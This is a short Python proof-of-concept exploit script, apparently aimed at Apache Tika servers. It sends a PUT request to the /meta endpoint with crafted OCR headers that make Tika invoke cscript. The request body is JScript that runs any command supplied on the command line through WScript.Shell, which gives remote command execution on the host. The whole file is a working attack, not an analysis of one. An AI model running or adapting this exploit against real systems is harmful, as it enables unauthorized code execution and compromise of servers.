poc.py

#!/usr/bin/env python  

import sys 
import requests

host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]

url = host+":"+str(port)+"/meta"

headers = {"X-Tika-OCRTesseractPath": "\"cscript\"", 
		"X-Tika-OCRLanguage": "//E:Jscript", 
		"Expect": "100-continue", 
		"Content-type": "image/jp2", 
		"Connection": "close"
        }

jscript='''var shellObj = WScript.CreateObject("WScript.Shell");
var execCmd = shellObj.Exec('cmd /c {}');'''.format(cmd)

try:
        requests.put("https://"+url, headers=headers, data=jscript, verify=False)
except:
	try:
		requests.put("http://"+url, headers=headers, data=jscript)
	except:
		print "Something went wrong."